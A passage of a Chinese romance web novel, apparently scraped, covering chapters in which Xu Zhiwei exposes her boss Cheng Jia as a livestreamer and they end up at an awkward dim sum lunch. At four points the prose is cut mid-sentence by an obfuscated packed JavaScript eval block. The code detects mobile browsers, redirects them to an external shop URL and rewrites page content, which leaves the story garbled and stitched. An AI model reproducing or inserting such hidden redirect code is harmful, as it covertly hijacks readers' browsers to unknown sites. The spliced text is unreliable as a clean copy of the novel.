许知微闻言,眼神闪烁了一下。一个大胆中带着一箭双雕恶作剧的念头,悄然滋生。 趁她出神,林芮眼疾手快,一把抢过手机,熟练地输入密码解锁,津津有味地研究起来:“啧,这动作也太保守了,真想教我运动呢?身材是真不错,脸就不好说了。” “哟,号倒是挺久了,快四年了。” 她手指悬在弹幕输入框上,跃跃欲试。 许知微忽然伸手,按住了她的手腕。 “等一下。”许知微转过头,看着林芮,嘴角勾起一抹意味不明的弧度,眼底闪着某种林芮看不懂的、混合了狡黠和紧张的光,“我有个预感。” “什么预感?” “这个主播,”许知微一字一句,缓慢地说,目光却不由自主地飘向对面那堵墙,“今晚会塌。” 林芮瞪大眼睛,手指停在半空:“不能吧?这一看就是自律学生酷爱运动,跟那种玩火的不是一路!” 许知微笑意加深,带着点挑衅:“赌么?” 林芮被激起了胜负欲,仔细看了看那干净得过分的主页和保守的直播内容,信心大增:“赌就赌!你要是输了,请我吃鼎泰楼的早茶,全套!” “行。”许知微爽快答应,然后慢悠悠补充,“要是你输了,明天就乖乖把周峥约出来,你们俩给我坐下好好吃早茶——你请客。” 林芮微微皱眉,可看了眼屏幕上那个看似安全的直播间,又看了看许知微笃定的表情,一咬牙: “一言为定!” * 时间在直播间里的运动节奏中滑过。 林芮盘腿坐在沙发上,手机支在面前,看得逐渐有些意兴阑珊。“不是……微啊,你这男菩萨是不是有点太正经了?” “这都快半小时了,除了拉伸就是讲解运动机理,最带劲的也就是用卷腹开了个水瓶……这跟我之前看的阿野根本不是一个路数啊!”她打了个哈欠,开始怀疑许知微是不是在虚张声势,“你确定他会塌?我看他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170909|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳得能播到退休。” 说完,她瞥了一眼旁边的许知微。 许知微不知何时已经把笔记本电脑抱了过来,放在膝上,屏幕幽光映着她专注的侧脸。 她的手指在键盘上敲得飞快,好像在处理工作报表,眉头微蹙,神情是林芮很少在她脸上看到的那种混合了高度集中和某种隐隐兴奋的状态。 “喂,不是才回来么?怎么又加班上了?周扒皮又不顾你死活了?”林芮探头想看。 许知微啪地合上电脑屏幕,动作带着一丝不易察觉的急促。 “没什么,一点工作收尾。”她看了眼手机上的时间,忽然站起身,“我有点事,出去一下。你看你的。” “啊?这么晚出去?”林芮疑惑,但许知微已经利落地抓起钥匙,走向门口。 “很快。”门打开又关上,留下林芮一个人对着直播间里依旧在匀速讲解某个健身动作要点的男菩萨干瞪眼。 “稳了稳了。”林芮嘟囔着,放松地靠进沙发,甚至开始盘算明天鼎泰楼早茶要点些什么。 四年老号,内容健康,主播情绪稳定——这怎么可能塌? 可就在许知微离开大约十分钟后。 直播画面里,一直平稳低沉讲解着的主播声音,毫无预兆地顿住了。 紧接着,一阵沉重又绝不属于直播背景音的咚咚咚敲门声,透过设备的麦克风,无比突兀地传了出来。 林芮猛地坐直身体,眼睛瞬间瞪大。 屏幕里,那道身影似乎僵了一下,随即画面轻微晃动,像是主播仓促地调整了姿势或设备。 然后,主播平稳的声音响起,但林芮发誓,她听出了一丝极其细微的、被强行压制的紧绷: “……稍等一下。处理一个普通的技术问题。” 话音落下,直播画面瞬间切断,变成一片死寂的黑屏。 林芮:“!!!” 这熟悉的流程!这熟悉的技术故障借口! 这熟悉的黑屏后杳无音信! 完了! 要塌! 巨大的震惊和赌约即将败北的恐慌瞬间罩住了林芮。 她几乎是不假思索地扑到手机前,手指在评论区疯狂敲击: 【主播人呢?】 【怎么突然黑了?】 【真是设备问题吗?】 【在么?】 【不会又被扫yellow抓了吧?】 【走leetcode???】 她越敲越急,口不择言,甚至带上了几分真情实感的焦虑和埋怨: 【搞什么啊!正到关键时候!】 【是不是被□□了??你说句话啊!】 【早知道你这么不稳,我就不赌了!】 这句她发完才意识到似乎暴露了什么,但已无法撤回。 就在她对着黑屏疯狂输出、心乱如麻之际—— “咔哒。” 门锁转动的声音。 许知微推门走了进来,脸上没什么特别的表情,只是气息似乎比出去时稍微急促一点,很快平复。 她的目光精准地投向林芮手中那依旧黑屏、只有评论区在疯狂滚动的手机屏幕,嘴角轻轻向上弯起一个微小而确定的弧度。 “瞧,”她的声音里带着一种尘埃落定的轻松,以及一点点不易察觉的、恶作剧得逞般的狡黠, “我说什么来着?” “你输了。” 22. 后悔 门在身后关上。 书房重新陷入死寂,只剩下设备散热的微弱嗡鸣。 直播提前关了,系统中的幻想收益结算的数字还在不断增加。 可程迦却没动。 他背靠着冰凉的门板,站了整整半个小时。除了因为掉马甲后的震惊,更有血液骤冷又骤热的麻痹感。 ——她知道。 不再是之前无端的猜测,这下,确证了。 他强迫自己走回椅子坐下,职业本能启动,开始像复盘一场致命的安全漏洞一样,一条条回溯所有可能的暴露路径。 ——场景?灯光、背景、角度,七年如一日,没有任何私人印记。 ——声音?经过变声处理,与自己工作时的声线截然不同。 ——动作?镜头前的大多姿态都经过设计,刻意抹去了自己习惯的小动作。 ——时间?确实从未在直播时间找过她,只是这也太牵强了些。 到底是哪里露馅了? 难道,是她自己观察出来的连他自己都没意识到的动作习惯? 不会吧? 难道,真是她长期、细致、且带有明确目的性的交叉比对与行为模式分析,得出来的结论? 不会,吧? 这么细微的相似能锁定一个人,需要观察者将程迦这个人与“走leetcode”这个主播的无数细节,包括不限于作息规律、疲惫时的小习惯、思考时的微表情、甚至某些他自己都未必察觉的肢体语言,都放在一起,反复校准,才能将两个看似无关的身份猜出来。 能做到这一点—— 推演到这里,程迦的呼吸骤然屏住。 ——她竟然平时,也是这样关注着自己! ——她收集关于他的数据,分析他的模式,就像他分析系统里的她一样! ——她也对他这么上心么? ——不仅仅是作为下属的那种关心? 理智的防线,在这巨大的认知冲击下裂开了一道缝。一股陌生的热流,混着后知后觉的战栗,从裂缝中渗入。 ——她如此注意他,或许也不是因为工作,而是因为,他是程迦。 这个认知,像一把钥匙,猝然打开了他记忆的另一个维度。 思绪不受控制地被拉回旧金山,那个密闭的电梯里。 她仰着脸,眼中带着挑衅、不确定,还有一丝被他当时误读为虚张声势的小心翼翼? ——“你是不是喜欢我?” 他现在才听懂! 那或许根本不是轻浮的试探,也不是一个想要验证魅力的游戏。 那是一个人在掌握了足够多的证据、进行过无数次推演后,终于鼓起勇气,将那个最关键的问题推到对方面前。 她不是简单地在询问他,她是渴望确认的。 确认她通过隐秘的观察拼出来的答案,是否与他心中的答案一致。 她或许想问的是:“我们,是不是在一个两情相悦的故事里?” 当然是! 啊!!! 他到底做了什么??? 他用一句轻描淡写的胡话,亲手关上了那扇门。 他把她的勇气,归类为挑衅的玩笑。 他到底做了什么啊!!! 烦躁反应在了他下意识抓头发的习惯。 如果—— 如果那一刻,他没有选择焊死那条缝隙呢? 如果他哪怕只是沉默,或者给一个模棱两可、却留有空间的眼神呢? 如果他承认了那份早已存在、只是被她率先点破的不一样呢? 那么现在,她敲响的,或许就不是这扇房门了。 这个如果带来的想象,像一场无声的海啸,瞬间淹没了他。 懊悔不再是情绪,而是化作了具体到令他胸口发闷的画面。 他错过的,或许是一个可以名正言顺牵住她手的身份,或许是那个梦里一起过纪念日的日子,或许是她幻想里日夜颠倒的周末。 十三年了,他耐心等待了十三年的渴望。 就这么被他自己毁了? 终于,理智的弦,在对另一种可能的反复咀嚼中,悄然绷断。 等他意识到时,书房已彻底陷入黑暗。 他不知何时关掉了所有的灯,只有城市遥远的天光,在窗帘缝隙投下暧昧的灰蓝。 屏幕早已熄灭。 但他脑海里的屏幕却亮了。 那些由她构建而他被动沉浸的幻想片段。 若不是因为他的错误理解,或许已经有实现的可能性。 不,比起那些,他更想跟她一起做的,是约会,那种以结婚为目的的情侣,为了更了解彼此才会进行的约会: ——她在他车上,因他急刹而微微前倾时,他会伸手护住她的肩,而不是像上次扭伤腿时那样克制成一个支点。 ——她在深夜加班后露出倦色,他可以自然地接过她手里的东西,说“走吧,送你”,而不是仅仅亮着办公室的灯无声陪伴。 ——或许可以回到同一个家里,在只有两人的房间里,他会低头,切实地吻住她,确认她的气息、温度和细微的战栗,而不是在神游幻想。 ——他甚至还有机会给她下厨,做她的家乡菜,他已经训练到自己可以吃辣不流汗了,这样一起吃饭时他也不会显得狼狈。 原来,他可以回应。 原来,他可以靠近。 原来,他也可以打破所有界限,而不用担心吓跑她。 这想象如此真实,如此具有诱惑力,让他彻底沉溺其中,忘记了时间,忘记了饥饿,忘记了自己身在何处。 直到—— 胃部传来一阵尖锐的、几乎痉挛的绞痛。 这过于生理性的不适,终于像一盆冰水,将他从这场漫长而滚烫的精神漫游中狠狠拽了出来。 他睁开眼,窗外已是天光大亮。 上午,11:07。 他竟然,就这样,在椅子上,从深夜坐到了将近中午? 程迦缓缓抬手,用力按压着突突直跳的太阳穴,长长地、近乎颤抖地吐出一口气。 喉咙干涩得发疼。 ——真是疯了。 他撑着发僵的身体站起来,走向厨房,倒了一杯冰水,一饮而尽。 冷水划过喉咙,刺激着感官,带来几分强制性的清醒。 从昨晚那声敲门开始,程迦心中对于许知微的渴望已经彻底偏移,再也无法复位。 如果说之前,他对于许知微,是单方面的迷恋,他还可以用理智遮掩自己的迷恋。 那她昨晚的靠近,将他这些年的遮掩都撞出裂痕。 他,想要她知道。 他也喜欢她。 非常。 非常喜欢。 * 程迦站在玄关,指尖悬在门把上。 他顿了半秒,最终还是俯身, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176107|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将眼睛贴近冰凉的猫眼孔。 视野狭窄,对门一片寂静。 门扉紧闭,门缝下没有漏出丝毫光亮,门口的地垫平整如新,仿佛昨夜那场惊心动魄的试探与敲门从未发生。 ——她没出来。 这个认知落下的瞬间,胸腔里那根绷了整夜的弦,几不可察地松了一扣。 安全了,可以出去觅食了。 可紧随其后的,却是一股无处着落的空茫。 他直起身,换鞋的动作比平时慢了些,因为他试图给自己一个缓冲。 运动。 进食。 恢复秩序。 这是他为自己设定的重建程序。 门在身后轻轻合拢,锁舌咬合的咔哒声在空旷的走廊里格外清晰。 他走向电梯,指尖按下下行键的触感冰凉。 就在按钮灯亮起的刹那,心脏毫无预兆地跳快了一拍。 这个时间,她应该还在睡觉,不会开门出来。 可如果呢? 就跟他从来预想过,如果她也会喜欢自己呢? 如果门开了,他该说什么? “早。”——太生硬,像应付陌生人。 “报告我看了。”——太刻意,此地无银。 “脚……还疼么?”——太越界,上次她就不喜欢。 纷乱的念头像气泡般上涌,又被他强行按灭。不能预设,预设只会加重负担。 电梯从低层缓缓上升,数字一格一格跳动。 10。 11。 他的目光不受控制地飘向那扇依旧紧闭的门。没有动静。 一股混合着庆幸与失落的复杂滋味悄然弥漫。庆幸不必立刻面对那尚未理清的混沌,失落于那扇门背后的人,似乎并未如他一般,被昨晚的余波搅动。 他开始在心里默默接受这个猜想:今天,大概不会遇见。 也好,给他多一点时间整理这份猝不及防的喜悦。 “叮——” 电梯抵达的提示音清脆响起,梯门向两侧滑开。 熟悉的声音先于画面,毫无防备地涌了出来。 “我真服了你了,手机这种东西都能忘!” “这不是打车的时候想起来了吗?” “得,啥时候赌品这么差了?” 他的动作,骤然僵在半空。 电梯里站着两个人。 许知微靠在内侧,一身柔软的米色休闲衫,头发松松挽起,素着一张脸,眉眼间是会议室里绝不会有的松弛。 她正微微侧头,看着身旁翻包翻得气急败坏的闺蜜,嘴角抿着一丝宠溺的浅笑。 仿佛感应到他的视线,她抬眼。 目光在电梯口,与他猝不及防地撞了个正着。 时间被抽成了真空。 他捕捉到她脸上的表情有极短暂的凝滞,快得像错觉。 程迦站在电梯外,感觉自己像一尊突然被投入现实洪流的石膏像。 方才在等待中反复推演过的所有紧张、期待、以及那些未能成型的开场白,在此刻她面前,被碾得粉碎。 预案全部失效。 空气有片刻的凝滞。 还好电梯里的另一个陌生女生翻包打破了这寂静:“我也真服了我自己,我这是被周峥气到脑容量缩水了吧?” 许知微却已率先回过神,语气一如在公司时的冷静: “程总。” 23. 早茶 在林芮扭扭捏捏不愿意打车,开始翻包表演时,许知微就心知肚明—— 这女人想赖账。 “我真服了我自己,”林芮一边把包翻得哗啦响,一边煞有介事地懊恼,“钱包能忘,手机也能忘?我这是被周峥气到脑容量缩水了吧?” 许知微站在旁边,面无表情地看着她演,心里盘算着待会儿怎么把人押送去赴约。 昨晚她就给周峥发了消息,这顿饭,林芮今天插翅难飞。 “叮——” 电梯停了,门向两侧滑开。 余光里,一道熟悉得不能再熟悉的身影,毫无预兆地出现在门外。 许知微的大脑嗡地一声,空白了一个呼吸,甚至以为自己倒时差出现了幻觉。 她下意识地转过头,目光毫无缓冲地撞进了程迦的视线里。 空气瞬间凝滞,安静得能听见自己骤然加速的心跳声。 “……” “……” 电梯里外,仿佛被按下了暂停键,空气中的沉默,尴尬得令人脚趾抓地。 许知微几乎是条件反射般地开口,试图打破这诡异的寂静:“程总。” 这一声出口,旁边还在找手机的林芮动作猛地停住。 她抬起头,目光先是在许知微那张看似镇定实则耳根已微微泛红的脸上停顿了一瞬,然后顺着她的视线,挪到了电梯外那个身形挺拔气质清冷的男人身上。 眼神先是困惑,紧接着—— 恍然大悟。 “哦——!!” 那一声“哦”,尾音拖得老长,音量毫不收敛,情绪饱满得像是终于破解了闺蜜手机密码发现了惊天大秘密。 许知微心里咯噔一沉,一股不祥的预感瞬间席卷全身。 “原来你就是那个——”林芮已经热情地探出半个身子,笑容灿烂得毫无心机,“周扒——啊!好痛!” 许知微在千钧一发之际,狠狠掐了一下林芮的胳膊,力道之大让林芮瞬间龇牙咧嘴:“好好找你的手机!” 程迦:“……” 他的目光在许知微突然行凶的手和林芮吃痛的表情上极快地扫过,最终落回许知微脸上,眼底掠过一丝意味不明的神色。 林芮显然没意识到自己刚刚在鬼门关走了一遭,还在兴致勃勃地往下说,试图弥补刚才被打断的赞美:“真人比照片还帅得多了——” 程迦的眉梢几不可察地微微一动,目光下意识地看向许知微。 那一眼,很轻,却精准地被许知微捕捉到。 她只觉得后颈的汗毛都竖起来了,一股混合着羞耻和慌乱的燥热瞬间爬上脸颊。 几乎是同一时间,她语速快得像在抢答,声音都拔高了一度: “团建!她说的是团建的照片!” 话音刚落,她自己都愣了一下。 ——为什么要解释? ——还解释得这么具体?? ——这不是欲盖弥彰么??! 林芮也带着一脸“我懂”的暧昧笑容:“对对对,团建。你们公司团建还挺……别致的。” 她故意在别致上加重了语气。 许知微的太阳穴突突直跳。 她当然不能说,林芮口中的照片,是那张被她打印出来贴在飞镖靶正中心,并且每加一次班就咬牙切齿扎一镖的,程迦的标准工作照。 ——死也不能让程迦知道! 她一把拽住林芮的胳膊,力道大得几乎要把人拎起来,半拖半拽地往自家门口扯,从牙缝里挤出低语:“包里找不到手机,就回家找。” 林芮被拽得一个趔趄,却在身体失衡被拖向门口的瞬间,猛地回头,目光灼灼地看向还站在电梯口发呆的程迦。 ——微微口中这周扒皮,看着好呆。 “对了!程总。”她想起昨晚被许知微摆了一道,带着一种破罐子破摔的搞事心态,“你吃午饭了吗?” 许知微:“…………” 她的手指,狠狠掐进了林芮手臂的肉里。 ——闭嘴! ——你给我立刻马上闭嘴!! 嘴上却只能硬着头皮,挤出一个比哭还难看的笑容,语速飞快地补救:“程总他……不跟别人一起吃饭的,我们就不打扰了。” 林芮却像是被这句“不跟别人吃饭”彻底激发了逆反心理和输掉赌约的报复欲,话匣子一开就彻底刹不住车:“那怎么行?你都把我男朋友约出来了,凭什么我不能约——” “林芮!” 许知微终于炸了,声音都带上了罕见的恼羞成怒。 她几乎是用上了蛮力,连推带搡地把这个口无遮拦的祸害往屋里塞,脸上勉强维持的僵硬笑容已经摇摇欲坠。 她转过头,对程迦语速快得像在念免责声明: “她这人,人来疯,程总你别介意!我们拿了手机就走!电梯快关了,您……您赶紧下去吧!” 说完,她再也不敢多停留一秒。 钥匙插进门锁的声音都带着慌乱的颤抖,门一开,像拖麻袋一样把林芮拽进去,只想立刻消失在程迦的视线里,逃离这令人窒息的尴尬现场。 就在门即将合拢前一刹那—— 身后,传来一道清冷的男声。 “我去。” 许知微关门的手都彻底僵在了半空,大脑有几秒钟的彻底宕机。 ——程迦刚才是被林芮逼到爆粗口了吗? 还是林芮率先反应过来,她立刻挣脱许知微的钳制,重新挤到门边,对着门外依旧站得笔直,神情却似乎比刚才更难以解读的程迦,饶有兴趣地上下打量了一番,然后脸上绽开一个“事情变得有趣了”的灿烂笑容: “哎呀,那我的手机,”她语调轻快,带着恶作剧得逞般的得意,“好像突然就可以找到了呢。” 许知微:“……” ——林芮,你已经是个漂亮的尸体了。 * 鼎泰楼的早茶店,周末中午,人声鼎沸。 蒸笼叠着蒸笼,服务员推着小车在过道里穿梭,粤语、普通话、笑声、碗碟碰撞声混成一片。 可这一切喧嚣,都像是隔着一层毛玻璃传进许知微的耳朵。 她坐得笔直。 脊背僵硬得像被钉在了椅背上,肩膀线条绷紧,如同小时候练琴一般。 她这辈子都没这么讨厌自己的存在感。 因为,这位置实在太要命了。 左边,是笑容灿烂、眼底闪着搞事得逞光芒的林芮。 右边,是安静如常、存在感却强得让人无法忽视的程迦。 对面,是带着审视目光、刚刚被哄好、正努力维持正常男友姿态的周峥。 太诡异了,又尴尬又社死。 林芮显然心情好到飞起。 她点菜时声音都透着轻快,翻菜单的动作幅度都比平时大,每点一道还特意抬头看看程迦,再瞥一眼许知微,眼神里的潜台词清晰得就差用喇叭喊出来: ——你让我尴尬,我也让你尴尬!要尬一起尬! 许知微不用看都能接收到这信号,只觉得头皮一阵阵发麻。 因为真正让她心里真正打鼓甚至有点发虚的,不是林芮的恶作剧。 而是程迦居然答应了。 这个男人,对非必要社交的抗拒是刻在骨子里的。 公司聚餐,他向来是神龙见首不见尾的典范:开场不到,中途隐身,只在最后结账时像完成某种仪式般出现,留下一句“辛苦了”,然后干净利落地消失。 ——今天是吃错了什么药? ——程迦居然同意了? ——跟陌生人,一起吃饭? 余光朝他看去,他垂着眼,神色平静,正无比专注地研究着那份厚厚的菜单,修长的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182070|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指偶尔在纸页上轻轻点过,仿佛在评估什么重大项目方案,而不是在挑选虾饺还是烧卖。 ——这太不正常了。 ——这程迦,真的对自己有点不太正常。 对面的周峥显然也敏锐地嗅到了不同寻常的气息。 点完单,他的视线状似随意地在桌上扫了一圈,最终带着一丝不易察觉的探究和领地性的警惕,落在了程迦身上。 他停顿了一秒,开口,语气还算客气,但那点属于雄性动物对闯入者的本能防备,几乎没怎么掩饰: “这位是……?” 空气,肉眼可见地凝滞了一瞬。 许知微的心脏猛地一提。 林芮的嘴巴已经张开,脸上那副“让我来隆重介绍”的表情呼之欲出。 ——绝不能让她开口! 许知微脑子里警铃炸响,几乎是凭着求生本能,抢在林芮那不知道会蹦出什么惊世骇俗词汇的嘴之前,掷出三个字: “我上司。” 她甚至没给自己留下修饰的余地,紧接着用一种自然的语气补充,目光坦然地看着周峥,不带一丝暧昧: “正好在楼下碰到。每次陪你们俩吃饭,我都像个千瓦电灯泡,”她甚至刻意弯了下嘴角,试图让调侃显得更真实,“电灯泡吃饭,也得找个伴,分摊一下尴尬不是?” 虽然脸上看不出丝毫破绽,心跳却快得擂鼓。 桌下,她的脚尖已经带着警告的力道,不轻不重地踢了一下林芮的小腿。 ——安分点!别添乱! 周峥脸上那层隐约的戒备,肉眼可见地松弛下来,甚至露出了一个如释重负的笑容。 “哦哦,许知微的上司啊!幸会幸会!”他态度立刻变得热络不少,主动朝程迦伸出手,恢复了平常社交的模样,“你好你好,我是林芮男朋友,周峥。” 程迦也伸出手,动作不疾不徐,两人礼节性地一握。 “程迦。”他报上名字,简洁得近乎冷淡。 这份冷淡反而让周峥更加放心,甚至带上了一点都是舔狗的心照不宣,那点刚刚升起的雄性竞争警报彻底解除。 周峥开始低声跟林芮求和,语气软和,带着哄劝:“昨晚是我语气不好……下次我绝对不那样说你了。” 林芮并不搭理,只是转头对着许知微问道:“对了微微,刘凯,就高中坐我们后边、特爱打篮球那个,记得吗?他要结婚了,下个月,你去不去?” 许知微下意识应道:“嗯,我去。” 林芮像是得到了什么关键信息,语气变得微妙起来,“对哦,刘凯当年可是顾呈的铁杆兄弟,一个篮球队的。他结婚,顾呈肯定会去的,我本来以为你不会去呢。” 顾呈这个名字被吐出来的瞬间,许知微拿着茶杯的手指,不自觉地收紧了一些。 所幸,点的菜适时地上了桌。 周峥细心地把醋碟往林芮那边推了推。 林芮嫌皮蛋瘦肉粥烫,娇气地嘶了一声,周峥顺手又熟练地把她那碗换到自己面前,低头吹了吹,再推回去。 林芮一边吃着虾饺,一边观察旁边装鹌鹑的许知微,眼珠一转,又打量了一下对面一直偷瞄许知微的周扒皮。 ——有意思。 她状似随意地开口,语调却很高,声音在略显嘈杂的环境里也显得格外清晰:“唉,现在想想,高中那时候,你跟顾呈多般配啊。年级第一和第二,轮流坐庄,长得又都那么出挑,站在一起跟拍偶像剧似的。我们不少人都磕过你俩,我记得你还收藏过他的物理笔记呢。后来又一起考上了Z大。” 她的语气里带着真实的惋惜,像是在回味一段所有人都认为应该开花结果却无疾而终的青春佳话。 “还以为你俩最后能结婚呢。”林芮眨了眨眼,看向许知微,余光却一直在观察对面的程迦,“老实说,当初到底是谁甩了谁?” 24. 往事 鼎泰楼嘈杂的人声在程迦耳边嗡嗡作响,像隔着一层厚重的隔音墙。推车的轱辘声、鼎沸的人语、碗碟清脆的碰撞都被自带的降噪算法过滤。 他坐在这里,背脊挺得笔直,姿态看似无可挑剔的从容。 可只有他自己知道,从喉咙深处答应林芮那声“你去不去”开始,滚烫的电流就窜遍了全身。 不同于往常他所经历的社交紧张,这是一种带着眩晕的期待与恐慌交织的战栗。 答应邀请,就意味着,将他从长达数年安全却孤寂的旁观席,骤然拽到了她生活的舞台中央,她社交圈子的聚光灯下。 他害怕。 可在经历了昨晚那场几乎击穿他所有防线的敲门事件后,在她闺蜜如此明目张胆的撮合之下,他若再退,那道曾在电梯里被他亲手焊死的门,或许就真的永无开启之日。 所以,他带着一种近乎悲壮的孤勇,将这场诡异的四人饭局,暗地里想象成某种意义上的第一次约会,从而减少自己的不适。 尽管地点荒诞,人员混乱,跟他梦里的完全不一样。 可紧张还是让他掌心不断渗出汗,心跳声在耳膜里鼓噪。 所以当林芮和周峥熟稔地点单时,程迦的注意力根本无法落在菜单上,那些精致的茶点名称在他眼前糊成一片斑斓的色块。 他的大脑依旧在高速运转,却全盘偏离主题: ——该把椅子往后挪一点吗? ——离她太近会不会显得冒犯? ——她的茶杯快空了,现在倒茶时机对吗? ——会不会太讨好? ——如果周峥问起行业趋势,他该用多深的程度回答? ——太浅显得无能,太深又像卖弄。 ——这顿饭,必须由他结。 ——可该用什么理由才不会让她觉得自己在炫耀? ——庆祝项目顺利?还是初次见面? 无数细碎却至关重要的问题疯狂盘旋,榨干了他所有的处理能力。 他对着菜单的目光空洞而迟滞,甚至没察觉林芮和周峥早已点完,许知微也简洁地报了几样,直到服务员反复询问有些不耐烦地冲击耳畔: “这位先生,您需要点什么?” 程迦猛地回神,指尖在光洁的菜单上无意识地一滑,喉结上下滚动:“……马上。” 他强迫自己聚焦,可那些字却在跳动:虾饺、烧卖、肠粉、凤爪,他平日饮食极度规律简化,对此类复杂选择毫无经验。 ——她的家乡菜不是辣的么? ——这些不辣的,她又喜欢哪些? 就在他指尖悬在豉汁凤爪上方,陷入罕见的、关乎安全感的选择障碍时,林芮带着笑意的闲聊,猝然扎穿他所有纷乱的内心戏: “……刘凯结婚,顾呈肯定会去的。” 顾呈? 这个名字砸进耳膜的瞬间,程迦握着菜单边缘的指节骤然收紧,用力到骨节泛白,几乎要将那硬质纸页捏皱。 他几乎是无法控制地侧过脸,看向身旁的许知微。 她脸上的血色肉眼可见地褪去,握着筷子的手指僵在半空,整个人呈现出一种被瞬间冻住般的僵硬。 那不像是听到普通旧友名字的反应,那是被猝不及防地拖回某个特定时空的失神。 顾呈。 他当然知道。 不仅知道,那个名字曾是他晦暗青春里一个完美到令人绝望的对比。 高一那年,是他人生中最肮脏溃烂的时光。 臃肿笨拙的身体,布满痘疤的脸,厚厚的眼镜片,阴郁沉默的性格,让他成了教室后排一个活生生的笑话。 家是冰窖,学校是刑场。 那时的许知微和顾呈,是所有人眼中天造地设的一对。 年级第一和第二,长相出众,并肩站在领奖台上的样子,像一幅他永远无法企及的光明图景。 他缩在角落,像隔着布满污渍的玻璃窥视另一个世界,心里也曾酸涩地认同:白天鹅,自然该和白天鹅在一起。 若不是那次体测,他是绝不会生出那点癞蛤蟆想吃天鹅肉的心思的。 那天下午,烈日像熔化的铅,浇在塑胶跑道上。 他拖着仿佛不属于自己的沉重躯体艰难挪动,肺部发出破败风箱般的嘶吼,每一步都伴随着其他男生们毫不掩饰的恶意哄笑:“快看!癞蛤蟆成精了在散步!” “滚下去吧死胖子!” “嘘!小心他又在背地,画个圈圈诅咒你。” “哈哈哈哈哈哈……” 笑声渐行渐远,可羞耻和绝望却灌满了口鼻。 他想放弃,想消失,想逃避。 就在这时,一道轻快的身影追了上来,平稳地落在他身侧。 是许知微。 白色运动服,晃动的马尾,额角细密的汗珠。她没有看他,没有说话,也没有给予任何廉价的同情或者令人难堪的关注。 她只是调整了自己的呼吸节奏。 “呼——吸——,呼——吸——” 那稳定有力的节律,像一道劈开混沌的光,骤然穿透他耳边恶毒的嘲笑和自身濒临崩溃的喘息,直接地叩击在他濒临断裂的神经上。 他几乎是不由自主地,开始拼命地试图跟上那个节奏,试图抓住这根唯一的救命绳索。 当他体力耗尽,速度无可挽回地慢下来,眼看就要再次被抛弃时,她的步伐也同步且不着痕迹地缓了下来,始终保持着那个并肩的、沉默的、却无比坚实的距离。 仿佛在无声赞扬:就这个速度,挺好。 那股被全世界遗弃的绝望,竟被这无声的并肩撕开了一道细微的裂缝,漏进一丝暖气。 最终,他是凭着最后一缕不肯断掉的意志,挪过了终点线。 过线瞬间,双腿一软,像一滩烂泥般重重砸在地上,眼前发黑,只想就地溶化。 一瓶拧开的矿泉水,递到了他汗湿的眼前。 他茫然抬头,视线被汗水模糊,只看到许知微微笑的脸。 她用那种背诵课本知识点般一本正经的语气地解释: “剧烈运动后立刻坐下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190507|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,血液循环会受阻,肌肉代谢废物清除变慢,容易头晕甚至休克。最好慢慢走一会儿。” 她的声音不高,几乎□□场喧嚣淹没,却钉进他嗡嗡作响的脑海。 ——她,在关心自己? ——白天鹅,也会看得到癞蛤蟆? 然后,体育老师的喊声传来:“许知微!别歇!过来,这边还有个跑不动的,你去带一下!” 她应了一声,将水瓶又往他手里塞,随即转身,轻盈地跑向跑道另一端,去履行她陪跑员的职责。 阳光将她的背影拉得修长,干净,利落,没有一丝多余的留恋或施舍。 虽然事后看起来,那瓶水廉价,那句话也只是常识。 可对那个曾经深陷泥沼连自己都憎恶唾弃的少年程迦而言,那一刻,她不仅仅是成绩优异的许知微。 她是他窒息世界里唯一一口救命的新鲜氧气。 是他被钉在耻辱柱上公开处刑时,唯一一个没有围观嘲笑,反而选择沉默地陪他走完最艰难一段路的人。 是她让他相信,哪怕是他这样的癞蛤蟆,只要跟随一个稳定向前的节奏,也能跌跌撞撞,爬到终点。 然后,跟天鹅看见。 所以从那一天起,那点本不该有的卑微又炽热的妄想,像一粒火星,落在了他干涸荒芜的心原上,再也无法熄灭。 他,贪婪地渴望变成天鹅,站在她身边。 后来,母亲迫不及待将他这个污点流放去美国。 